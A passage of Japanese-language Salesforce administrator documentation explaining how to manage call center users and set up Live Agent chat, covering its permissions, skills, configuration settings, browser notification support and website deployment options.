メモ:  CTI の以前のバージョンはセキュアですが、CTI 4.0 のテクノロジとは
異なる Windows® テクノロジを使用しています。

関連トピック:

Salesforce CTI Toolkit

コールセンターの設定
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コールセンターユーザの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コールセンターからユー
ザを追加または削除する
• 「コールセンターの管

理」

Salesforce ユーザが Salesforce CRM Call Center 機能を参照できるのは、システム管理
者がそのユーザをコールセンターに割り当てた場合のみです。手順については、
次のトピックを参照してください。
• 「コールセンターへのユーザの追加」
• 「コールセンターからのユーザの削除」
各コールセンターユーザは、次の項目を設定する一連の個人のソフトフォン設
定へアクセスできます。
• Salesforce へログインする際に、ソフトフォンへ自動的にログインするかどう

か
• 電話の着信に一致するレコードが 1 つだけだった場合のそのレコードの表示

方法
新規コールセンターユーザ用のデフォルトの個人のソフトフォン設定を変更す
る場合は、Force.com API を使用します。

関連トピック:

Open CTI 開発者ガイド
コールセンターの設定
コールセンターの作成
コールセンターの管理

「コールセンターへのユーザの追加」

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コールセンターにユーザ
を追加する
• 「コールセンターの管

理」

Salesforce CRM Call Center のコールセンターへユーザを追加する手順は、次のとお
りです。
1. [設定] から [クイック検索]ボックスに「コールセンター」と入力し、[コール

センター] を選択します。
2. Salesforce ユーザを割り当てるコールセンターの名前をクリックします。
3. [コールセンターユーザ] 関連リストで[コールセンターユーザの管理]をクリッ

クします。
4. [ユーザの追加] をクリックします。
5. コールセンターに割り当てるSalesforceユーザを検索するための検索条件を指

定します。
6. [検索] をクリックして、検索条件を満たす Salesforce ユーザのリストを表示し

ます。ユーザは一度に 1 つのコールセンターにのみ割り当てられるため、
コールセンターにすでに属しているユーザはすべて検索結果から除外されま
す。

7. コールセンターに割り当てる各ユーザの横にあるチェックボックスをオンに
して、[コールセンターに追加] をクリックします。
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[ユーザ] ページで、特定のユーザが所属するコールセンターを変更することもできます。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選択します。
2. ユーザの名前の横にある [編集] をクリックします。
3. [コールセンター] 項目を適宜変更します。ユーザのコールセンターを変更するには、ルックアップアイコ

ン ( ) をクリックして、新規コールセンターを選択します。または、[コールセンター] 項目からコールセ
ンター名を削除すると、現在のコールセンターからユーザを削除できます。

関連トピック:

コールセンターの設定
コールセンターユーザの管理
コールセンターの作成

コールセンターからのユーザの削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コールセンターからユー
ザを削除する
• 「コールセンターの管

理」

Salesforce CRM Call Center のコールセンターからユーザを削除する手順は、次のと
おりです。
1. [設定] から [クイック検索]ボックスに「コールセンター」と入力し、[コール

センター] を選択します。
2. Salesforce ユーザの削除元コールセンターの名前をクリックします。
3. [コールセンターユーザ] 関連リストで[コールセンターユーザの管理]をクリッ

クします。
4. コールセンターから削除するユーザの名前の横にある [削除]をクリックしま

す。
一度に複数のユーザを削除するには、削除したい各ユーザの横にある [アク
ション] チェックボックスをオンにし、[ユーザを削除] をクリックします。

[ユーザ] ページで、特定のユーザが所属するコールセンターを変更することもで
きます。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザの名前の横にある [編集] をクリックします。
3. [コールセンター] 項目を適宜変更します。ユーザのコールセンターを変更するには、ルックアップアイコ

ン ( ) をクリックして、新規コールセンターを選択します。または、[コールセンター] 項目からコールセ
ンター名を削除すると、現在のコールセンターからユーザを削除できます。

関連トピック:

コールセンターの設定
コールセンターユーザの管理
コールセンターの作成
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Web チャットチャネルの作成

システム管理者向けの Live Agent

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Live Agent を設定する
• 「アプリケーションの

カスタマイズ」

ユーザプロファイルまた
は権限セットを作成する
• 「プロファイルと権限

セットの管理」

システム管理者向けの Live Agent をご利用いただきありがとうございます。Live

Agentは、サポート組織のエージェントおよびサポートスーパーバイザが容易に
顧客をサポートできるようにする包括的なチャットソリューションです。Live

Agent があると、サポート組織はリアルタイムチャットサポートの提供時に、
Salesforce コンソールで使用できる包括的なカスタマーサービスツールを利用で
きます。
システム管理者は、ユーザ (エージェントやサポートスーパーバイザなど) に合
わせて Live Agent を設定およびカスタマイズできます。Live Agent は設定が容易
で、高度なカスタマイズが可能です。エージェントやスーパーバイザが顧客の
サポート時に利用できる一連の機能を有効化できます。
Salesforce 組織で Live Agent を有効化、設定、およびリリースする場合、いくつか
の主要な手順が含まれます。では始めましょう。
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Live Agent の基本的な実装の作成

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Live Agent を設定する
• 「アプリケーションの

カスタマイズ」

ユーザプロファイルまた
は権限セットを作成する
• 「プロファイルと権限

セットの管理」

Live Agent をカスタマイズする前に、Salesforce 組織に対して Live Agent の基本的な
実装を作成する必要があります。基本的な設定手順を完了すると、エージェン
トが顧客とチャットするために使用できる Live Agent の実装が機能します。
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Live Agent の有効化

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Live Agent を有効化する
• 「アプリケーションの

カスタマイズ」

Salesforce 組織で Live Agent を有効化して開始します。Live Agent を有効化したら、
カスタマイズできます。
1. [設定] から、[クイック検索] ボックスに「Live Agent 設定」と入力し、

[Live Agent の設定] を選択します。
2. [Live Agent の有効化] を選択します。
3. [保存] をクリックします。
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Live Agent ユーザの作成

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

ユーザを作成または編集
する
• 「内部ユーザの管理」

エージェントが Live Agent
を使用できるようにする
• 「API の有効化」シス

テム管理者権限

ユーザがチャットで顧客をサポートできるようにするには、ユーザを Live Agent

ユーザとして割り当てる必要があります。Live Agent ユーザとは、チャットで顧
客をサポートするための Salesforce 権限を持つサポートエージェントおよびスー
パーバイザです。
Live Agentを使用するには、すべてのLive Agentユーザの関連プロファイルで [API

の有効化] システム管理者権限が有効になっている必要があります。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザ名の横にある [編集] をクリックします。
3. [Live Agent ユーザ] を選択します。このチェックボックスが表示されな

い場合は、サポート組織が十分なLive Agent機能ライセンスを購入しているこ
とを確認してください。

4. [保存] をクリックします。
ユーザを作成した後、必ず Live Agent 設定をユーザに割り当て、ユーザを適切な
スキルに関連付けます。
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Live Agent サポートエージェントの権限

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

顧客を支援するためにサポートエージェントが必要とするすべてのツールにア
クセスするには、Live Agent サポートエージェントに対する特定の権限を有効に
する必要があります。

一般の権限

説明必要な権限

すべての Live Agent ユーザに必須「API の有効化」

オブジェクトの権限

考慮事項説明権限レコードタイプ

セッションレコー
ドを作成、編集、
削除する権限を
エージェントに付
与しないでくださ

エージェントが
セッションレコー
ドを表示できるよ
うにします。

「参照」Live Agent セッショ
ン

い。セッションレ
コードは自動的に
作成され、エー
ジェントがオンラ
インで費やした時
間に関する情報を
示す履歴を提供す
ることを目的とし
ているため、この
レコードを変更す
る権限をエージェ
ントに付与しない
ころをお勧めしま
す。

訪問者レコードを
作成、編集、削除

エージェントが訪
問者レコードを表

「参照」Live Chat の訪問者

する権限をエー示できるようにし
ます。 ジェントに付与し

ないでください。
訪問者レコードは
自動的に作成さ
れ、顧客をチャッ
トトランスクリプ
トに関連付けた履
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考慮事項説明権限レコードタイプ

歴を提供することを目的
としているため、このレ
コードを変更する権限を
エージェントに付与しな
いことをお勧めします。

チャットトランスクリプ
トを作成、編集、削除す

エージェントがチャット
トランスクリプトを表示
できるようにします。

「参照」Live Chat のトランスクリプ
ト

る権限をエージェントに
付与しないでください。
チャットトランスクリプ
トは自動的に作成され、
エージェントと顧客間の
やりとりの履歴を提供す
ることを目的としている
ため、このレコードを変
更する権限をエージェン
トに付与しないことをお
勧めします。

クイックテキストに対す
る「参照」権限がない場

エージェントがクイック
テキストメッセージを表

「参照」クイックテキスト

合、エージェントは示し、チャットにクイッ
Salesforce コンソールのククテキストを挿入できる

ようにします。 イックテキストサイドバー
にアクセスできません。

組織全体でクイックテキ
ストメッセージを標準化

エージェントがクイック
テキストメッセージを作
成できるようにします。

「作成」

する必要がある場合は、
エージェントの権限を制
限してクイックテキスト
メッセージを作成します。
その場合は、代わりにサ
ポートスーパーバイザに
「作成」権限を付与しま
す。

サポート組織全体でクイッ
クテキストメッセージを

エージェントがクイック
テキストメッセージを編
集できるようにします。

「編集」

標準化する必要がある場
合は、エージェントのク
イックテキストメッセー
ジを編集する権限を制限
します。その場合は、代
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考慮事項説明権限レコードタイプ

わりにサポートスーパー
バイザに「編集」権限を
付与します。

組織全体でクイックテキ
ストメッセージを標準化

エージェントがクイック
テキストメッセージを削
除できるようにします。

「削除」

する必要がある場合は、
エージェントの権限を制
限してクイックテキスト
メッセージを削除します。
その場合は、代わりにサ
ポートスーパーバイザに
「削除」権限を付与しま
す。

Live Agent サポートスーパーバイザの権限

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

エージェントの活動を監視し顧客情報を確認するためにサポートスーパーバイ
ザが必要とするすべてのツールにアクセスするには、Live Agentサポートスーパー
バイザに対する特定の権限を有効にする必要があります。

一般の権限

説明必要な権限

すべてのLive Agentユーザに必須です。「API の有効化」

説明省略可能な権限

スーパーバイザがスキルをエージェン
トに割り当てできるようにします。

「Live Agentのスキルをユーザに割り当
てる」

オブジェクトの権限

考慮事項説明権限レコードタイプ

なしスーパーバイザがセッショ
ンレコードを表示できる
ようにします。

「参照」Live Agent セッション
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考慮事項説明権限レコードタイプ

セッションレコードは自
動的に作成され、エー

スーパーバイザがセッショ
ンレコードを作成できる
ようにします。

「作成」

ジェントがオンラインで
費やした時間に関する情
報を示す履歴を提供する
ことを目的としていま
す。このレコードは変更
しないことをお勧めしま
すが、レコードを手動で
作成する権限をスーパー
バイザに付与することも
できます。

セッションレコードは自
動的に作成され、エー

スーパーバイザがセッショ
ンレコードを編集できる
ようにします。

「編集」

ジェントがオンラインで
費やした時間に関する情
報を示す履歴を提供する
ことを目的としていま
す。このレコードは変更
しないことをお勧めしま
すが、レコードを編集す
る権限をスーパーバイザ
に付与することもできま
す。

セッションレコードは自
動的に作成され、エー

スーパーバイザがセッショ
ンレコードを削除できる
ようにします。

「削除」

ジェントがオンラインで
費やした時間に関する情
報を示す履歴を提供する
ことを目的としていま
す。このレコードは変更
しないことをお勧めしま
すが、レコードを削除す
る権限をスーパーバイザ
に付与してもかまいませ
ん。

なしスーパーバイザがチャッ
トトランスクリプトを表
示できるようにします。

「参照」Live Chat のトランスクリプ
ト
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考慮事項説明権限レコードタイプ

チャットトランスクリプ
トは自動的に作成され、

スーパーバイザがチャッ
トトランスクリプトを作
成できるようにします。

「作成」

エージェントと顧客間の
やりとりの履歴を提供す
ることを目的としていま
す。このレコードは変更
しないことをお勧めしま
すが、トランスクリプト
を手動で作成する権限を
スーパーバイザに付与す
ることもできます。

チャットトランスクリプ
トは自動的に作成され、

スーパーバイザがチャッ
トトランスクリプトを編
集できるようにします。

「編集」

エージェントと顧客間の
やりとりの履歴を提供す
ることを目的としていま
す。このレコードは変更
しないことをお勧めしま
すが、トランスクリプト
を編集する権限をスー
パーバイザに付与するこ
ともできます。

チャットトランスクリプ
トは自動的に作成され、

スーパーバイザがチャッ
トトランスクリプトを削
除できるようにします。

「削除」

エージェントと顧客間の
やりとりの履歴を提供す
ることを目的としていま
す。このレコードは変更
しないことをお勧めしま
すが、トランスクリプト
を削除する権限をスー
パーバイザに付与するこ
ともできます。

なしスーパーバイザが訪問者
レコードを表示できるよ
うにします。

「参照」Live Chat の訪問者

訪問者レコードは自動的
に作成され、顧客を

スーパーバイザが訪問者
レコードを作成できるよ
うにします。

「作成」

チャットトランスクリプ
トに関連付ける履歴を提
供することを目的として
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考慮事項説明権限レコードタイプ

います。このレコードは
変更しないことをお勧め
しますが、レコードを手
動で作成する権限をスー
パーバイザに付与するこ
ともできます。

訪問者レコードは自動的
に作成され、顧客を

スーパーバイザが訪問者
レコードを編集できるよ
うにします。

「編集」

チャットトランスクリプ
トに関連付ける履歴を提
供することを目的として
います。このレコードは
変更しないことをお勧め
しますが、レコードを編
集する権限をスーパーバ
イザに付与することもで
きます。

訪問者レコードは自動的
に作成され、顧客を

スーパーバイザが訪問者
レコードを削除できるよ
うにします。

「削除」

チャットトランスクリプ
トに関連付ける履歴を提
供することを目的として
います。このレコードは
変更しないことをお勧め
しますが、レコードを削
除する権限をスーパーバ
イザに付与してもかまい
ません。

なしスーパーバイザがクイッ
クテキストメッセージを
表示できるようにします。

「参照」クイックテキスト

なしスーパーバイザがクイッ
クテキストメッセージを
作成できるようにします。

「作成」

なしスーパーバイザがクイッ
クテキストメッセージを
編集できるようにします。

「編集」

なしスーパーバイザがクイッ
クテキストメッセージを
削除できるようにします。

「削除」
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Live Agent スキルの作成と割り当て

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

スキルを作成する
• 「アプリケーションの

カスタマイズ」

スキルを割り当てる (スー
パーバイザ)
• 「Live Agent のスキル

をユーザに割り当て
る」

スキルによってエージェントの専門分野が識別されます。エージェントをスキ
ルに割り当てると、そのエージェントは、エージェントのスキル領域に関連す
るチャット要求を受信します。また、スーパーバイザがエージェントにスキル
を割り当てできるようにすることもできます。
1. [設定] から、[クイック検索] ボックスに「スキル」と入力し、[スキル] を選

択します。
2. [新規] をクリックします。
3. スキルの名前を入力します。

たとえば、カスタマー取引先に関する質問のスペシャリストであるエージェ
ント用の「取引先」というスキルを作成できます。

4. [ユーザの割り当て] 領域で、スキルに関連付けるユーザを選択します。
5. [プロファイルの割り当て] 領域で、スキルに関連付けるプロファイルを選択

します。
6. [保存] をクリックします
スーパーバイザがスキルを割り当てできるようにするには、スーパーバイザの
プロファイルで「Live Agent のスキルをユーザに割り当てる」権限を有効にする
か、権限セットを使用して個々のユーザに割り当てます。スーパーバイザがこ
の権限を持っている場合、[設定] > [カスタマイズ] > [Live Agent スキル] に移動し
て、各スキルで割り当てられたプロファイルまたはユーザを更新できます。
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Live Agent 設定の作成

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

設定を作成および編集す
る
• 「アプリケーションの

カスタマイズ」

Live Agent 設定により、エージェントが顧客とチャットしているときにエージェ
ントとサポートスーパーバイザが使用できる Live Agent 機能を定義します。Live

Agent 設定を作成して、Salesforce コンソールの Live Agent の機能を管理します。
作業を効率化するために、設定を作成する前にプロファイルおよびユーザを作
成します。これにより、設定を作成すると同時に、その設定をユーザおよびプ
ロファイルに割り当てることができます。
Live Agent 設定により、特定の Live Agent 機能へのユーザのアクセスを制御できま
す。Live Agent の機能を定義する設定は、各ユーザ種別に合わせて複数作成でき
ます。たとえば、新人エージェントよりも多くの権限を付与する経験豊富なエー
ジェント専用の設定を作成したり、従業員を監視するために必要な権限を付与
するサポートスーパーバイザ用の設定を作成したりできます。
1. 設定の作成を開始するには、[設定] から [クイック検索] ボックスに「Live

Agent の設定」と入力し、[Live Agent の設定] を選択します。
2. [新規] をクリックします。
3. Live Agent の設定を選択します。
4. [保存] をクリックします

Live Agent の設定

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Agent 設定により、エージェントが顧客とチャットしているときにエージェ
ントとそのスーパーバイザが使用できる機能を制御します。
Live Agent 設定を作成または編集するときに設定を適用します。

基本情報
エージェントが顧客とチャットしているときに使用できる基本機能を設定しま
す。

実行する内容設定

設定の名前を付けます。
この設定の名前、つまりバージョンは
自動的に [API 参照名] になります。

Live Agent の設定名

Live Agent 設定の API 名を設定します。API 参照名
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実行する内容設定

この設定に割り当てられたエージェントが同時に参加
できるチャット数を示します。

チャットの参加可能人数

チャットの顧客がチャットメッセージを送信する前に
その入力内容をエージェントが確認できるかどうかを
示します。

プレビューの有効化

エージェントが新しいチャット要求を受信したときに
音声アラートを再生するかどうかを示します。

要求サウンドの有効化

チャットが切断されたときに音声アラートを再生する
かどうかを示します。

切断サウンドの有効化

エージェントが新しいチャット要求を受信したときに
デスクトップアラートを表示するかどうかを示しま
す。

通知の有効化

顧客のチャットウィンドウに表示されるエージェント
名を設定します。

カスタムエージェント名

エージェントが顧客のチャット要求を受け入れたとき
に顧客に自動的に送信されるカスタム挨拶メッセージ
を設定します。
必要に応じて、[差し込み項目ルックアップ] ツールを
使用して、差し込み項目で挨拶の情報をカスタマイズ

自動挨拶

します。たとえば、差し込み項目を使用して、挨拶に
顧客の名前を含めることで、チャットのやりとりを
パーソナライズできます。

メモ: Live Agent 設定と個々のチャットボタンの
両方で自動挨拶メッセージを指定している場合、
チャットボタンに関連付けられたメッセージの
方が、設定に関連付けられたメッセージよりも
優先されます。

エージェントがチャット要求を拒否したときにエー
ジェントの Live Agent 状況を自動的に [退席中] に設定
します。
このオプションは、プッシュ転送を使用するチャット
ボタンにエージェントが割り当てられている場合にの
み適用されます。

拒否の場合は自動的に退席中に変更
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実行する内容設定

エージェントに転送されたチャット要求がタイムアウ
トしたときに、エージェントの Live Agent 状況を自動
的に [退席中] に設定します。
このオプションは、プッシュ転送を使用するチャット
ボタンにエージェントが割り当てられている場合にの
み適用されます。

転送のタイムアウトの場合は自動的に退席中に変更

チャットタブで顧客のチャットに回答するようにエー
ジェントに注意が促されるまでの秒数を決定します。

重要なアラート待機時間

顧客からのチャットを介したファイルの転送をエー
ジェントが有効にできるかどうかを示します。

エージェントファイル転送の有効化

エージェントが Salesforce コンソール内で訪問者を有効
なチャットからブロックできるかどうかを示します。

訪問者のブロックの有効化

「IP アドレスによる訪問者のブロックをエージェント
に許可」を参照してください。

エージェントが、支援の要求 (「フラグを有効化」) を
スーパーバイザに送信できるかどうかを示します。

支援フラグの有効化

Chatlet

Chatlet は、Live Agent コンソールの Live Agent を使用している組織でのみ利用できるツールです。Live Agent コン
ソールはサポートされなくなったため、Chatlet を設定することはお勧めしません。Salesforce コンソールの Live

Agent を使用している場合、Chatlet は必要ありません。

ユーザの割り当て
資格のあるユーザを設定に割り当てて、Live Agent機能へのアクセス権を付与します。その後、プロファイルを
設定に割り当てることもできます。プロファイルおよびユーザレベルでユーザが設定に割り当てられている場
合は、プロファイルに割り当てられた設定よりユーザレベル設定が優先されます。

警告: ユーザを一度に割り当てできる Live Agent 設定は 1 つのみです。同じユーザを 2 つ目の Live Agent 設
定に割り当てると、警告なしで最初の Live Agent 設定からユーザが削除されます。そのため、各ユーザを
どの Live Agent 設定に割り当てる必要があるかを正確に把握してください。
たとえば、ユーザ A が Live Agent 設定 A に割り当てられているとします。Live Agent 設定 B を作成し、誤っ
てユーザ A をそれに割り当てたとします。Salesforce から通知されることなく、ユーザ A は Live Agent 設定
A から自動的に削除され、Live Agent 設定 B に再割り当てされます。

実行する内容設定

設定に割り当てることができるユーザを示します。選択可能なユーザ

設定に割り当てられたユーザを示します。選択済みのユーザ
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プロファイルの割り当て
資格のあるプロファイルを設定に割り当てて、そのプロファイルに関連付けられたユーザに Live Agent 機能へ
のアクセス権を付与します。プロファイルおよびユーザレベルでユーザが設定に割り当てられている場合は、
プロファイルに割り当てられた設定よりユーザレベル設定が優先されます。

実行する内容設定

設定に割り当てることができるユーザプロファイルを
示します。

選択可能なプロファイル

設定に割り当てられたユーザプロファイルを示しま
す。

選択済みプロファイル

スーパーバイザ設定
スーパーバイザ設定により、サポートスーパーバイザが使用できる Live Agent 機能を決定します。また、これ
らの設定では、スーパーバイザパネルの [エージェント状況] リストに適用されるデフォルト条件も決定しま
す。

実行する内容設定

エージェントが顧客とやりとりしているときにスー
パーバイザがエージェントのチャットをリアルタイム
で監視できるかどうかを示します。

チャット監視の有効化

エージェントが顧客とチャットしているときにスー
パーバイザが非公開メッセージをエージェントに送信
できるかどうかを示します。

示唆メッセージの有効化

エージェントが顧客にチャットメッセージを送信する
前にスーパーバイザがエージェントのチャットメッ
セージをプレビューできるかどうかを示します。

エージェントプレビューの有効化

スーパーバイザパネルでエージェントを絞り込むため
に使用されるデフォルトのエージェント状況 ([オンラ

エージェント状況のデフォルトの条件

イン]、[オフライン]、または [退席中] など) を決定し
ます。
スーパーバイザがスーパーバイザパネルの [エージェ
ント状況] リストを参照すると、その状況のエージェ
ントのリストが表示されます。

スーパーバイザパネルでエージェントを絞り込むため
に使用されるデフォルトのスキルを決定します。
スーパーバイザがスーパーバイザパネルの [エージェ
ント状況] リストを参照すると、そのスキルに割り当
てられたエージェントのリストが表示されます。

スキルのデフォルトの条件
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実行する内容設定

スーパーバイザパネルでエージェントを絞り込むため
に使用されるデフォルトのボタンを決定します。
スーパーバイザがスーパーバイザパネルの [エージェ
ント状況] リストを参照すると、そのボタンに割り当
てられたエージェントのリストが表示されます。

ボタンのデフォルトの条件

スーパーバイザのスーパーバイザパネルに表示される
スキルを決定します。
スーパーバイザがスーパーバイザパネルの [エージェ
ント状況] リストを参照すると、そのスキルに割り当

割り当て済みスキル

てられたエージェントのリストが表示されます。どの
スキルも選択しない場合、[エージェント状況] リスト
には、何らかのスキルに割り当てられたエージェント
が表示されます。

チャット会議設定
エージェントが他のエージェントを顧客のチャットに招待できるかどうかを決定します。チャット会議では、
エージェントが 1 つのチャットに複数のエージェントを参加させることができます。これにより、顧客は他の
エージェントのチャットに転送されるまで待つことなく、必要とする解決方法を得られるようになります。

メモ: チャット会議では [関連エンティティ] パネルはサポートされていません。チャット会議でこのパネ
ルを使用しようとすると、重要な詳細がレコードに保存されない可能性があります。

実行する内容設定

エージェントが他のエージェントを顧客のチャットに
招待できるかどうかを示します。

チャット会議の有効化

チャット転送設定
エージェントがチャットを他のエージェントに転送できるかどうかを決定します。

実行する内容設定

エージェントがチャットを他のエージェントに直接転
送できるかどうかを示します。

エージェントへのチャット転送の有効化

エージェントが特定のスキルに割り当てられたエー
ジェントにチャットを転送できるかどうかを示しま
す。

スキルへのチャット転送の有効化
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実行する内容設定

エージェントがチャットの転送先にできるスキルグ
ループを決定します。
エージェントは、これらのスキルに割り当てられた対
応可能なエージェントにチャットを転送できます。

スキルへのチャット転送

エージェントがチャットをボタンまたはキューに転送
できるかどうかを示します。

Live Chat ボタンへのチャット転送の有効化

エージェントがチャットの転送先にできるボタンを決
定します。
エージェントは、これらのボタンに割り当てられた対
応可能なエージェントにチャットを転送できます。

Live Chat ボタンへのチャット転送

Live Agent 通知でサポートされるブラウザ

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Agent 通知を使用すると、エージェントは、特定のイベントが発生したとき
にアラート通知を受け取ることで、チャットに効率よく応答できます。サポー
トされるチャット通知種別は、エージェントが使用する Web ブラウザによって
決まります。
Live Agent では、次の 2 つのチャット通知種別を使用できます。
チャット要求通知

エージェントがチャット要求を受信したときにエージェントに通知します。
この通知は、音声通知およびデスクトップ通知として使用できます。

切断通知
エージェントがLive Agentから切断されたときにエージェントに通知します。
この通知は、音声通知としてのみ使用できます。

デスクトップ通知
がサポートされて
いるかどうか

音声通知がサポー
トされているかど
うか

バージョンブラウザ

○○最新の安定バー
ジョン

Google Chrome™

○○最新の安定バー
ジョン

Mozilla® Firefox®

○○Mac OS X の 6.xApple® Safari®

×○9Windows® Internet
Explorer®
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Live Agent リリースの作成

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

リリースを作成する
• 「アプリケーションの

カスタマイズ」

リリースとは、Live Agent で有効化される会社の Web サイトの場所です。リリー
スを作成して、Live Agent を実装し、Web サイトでの機能を制御します。
顧客に表示されるチャットウィンドウをカスタマイズするには、まずカスタム
画像をホストする Force.com サイトを作成する必要があります。
リリースは、Web ページに追加する数行の JavaScript で構成されます。組織は、
Live Agentリリースを 1 つまたは複数持つことができます。たとえば、1 つのサー
ビスセンターで複数の Web サイトをサポートする場合、サイトごとに別々のリ
リースを作成すると、訪問者に複数のチャットウィンドウを表示できます。
1. [設定] から、[クイック検索] ボックスに「リリース」と入力し、[リリース]

を選択します。
2. [新規] をクリックします。
3. リリースの設定を選択します。
4. [保存] をクリックします

Salesforce は、リリースコードを生成します。
5. リリースコードをコピーして、Live Agentをリリースする各 Web ページに貼り

付けます。最高のパフォーマンスを得るには、このコードを body 終了タグ
(</body>) の直前に貼り付けます。

メモ:  Internet Explorer 8 または 9 でセキュリティゾーンを使用している場
合は、リリースおよびそのリリースをホストする Web サイトが同じセ
キュリティゾーンにあることを確認してください。Internet Explorer の問
題により、セキュリティゾーンが異なる Web サイトからはチャットウィ
ンドウを起動できません。セキュリティゾーンについての詳細は、Internet

Explorer のヘルプを参照してください。

3021

Web チャットチャネルの作成カスタマーサポートツールの設定および管理



Live Agent リリース設定

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Agent リリース設定により、エージェントが顧客とチャットしているときに
エージェントとそのスーパーバイザが使用できる機能を制御します。
Live Agent リリースを作成または編集するときに設定を適用します。

基本情報
特定の Live Agent リリースで使用できる基本機能を設定します。

実行する内容設定

リリースの名前を付けます。
このリリースの名前、つまりバージョ
ンは自動的に [API 参照名] になりま
す。

Live Chat のリリース名

Live Agent リリースの API 名を設定しま
す。

API 参照名

顧客に表示されるチャットウィンドウ
名を設定します。

[チャット] ウィンドウタイトル

顧客がエージェントとのチャットを終
了した後でチャットトランスクリプト

訪問者にトランスクリプトの保存を許可
する

のコピーを保存できるかどうかを示し
ます。

開発者が事前チャット API にアクセス
して実装できるかどうかを指定しま
す。

事前チャット API にアクセスを許可

警告: 事前チャット API を使用す
ると、開発者は、顧客が事前
チャットフォームに入力した潜
在的な個人情報 (顧客の名前や
メールアドレスなど) にアクセス
できます。

リリースをホストできるドメインを決
定します。
許可されたドメインを使用するとき
は、次のようにします。

許可されているドメイン

• 必要なドメインはいくつでもリス
トできますが、1 行に 1 つずつリス
トします。
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実行する内容設定

• ドメインとサブドメインのみを使用します。たと
えば、xyz.domain.com、domain.com、または
www.domain.com などを使用します。http:// または対
応付けをドメイン内の特定のページ (domain.com/page

など) に含めないようにします。
• リリースをホストできるようにするすべてのドメ

インを指定していることを確認します。
• リリースをすべてのドメインで使用可能にするに

は、[許可されているドメイン] 項目を空のままに
しておきます。

チャットで顧客がアイドル状態になった場合のエー
ジェントに対する警告とタイムアウトが有効になって
いることを示します。

カスタムタイムアウトを有効化

顧客がアイドル状態または切断済みになってから警告
がエージェントに送信されるまでの期間を秒数で示し

アイドル接続警告期間

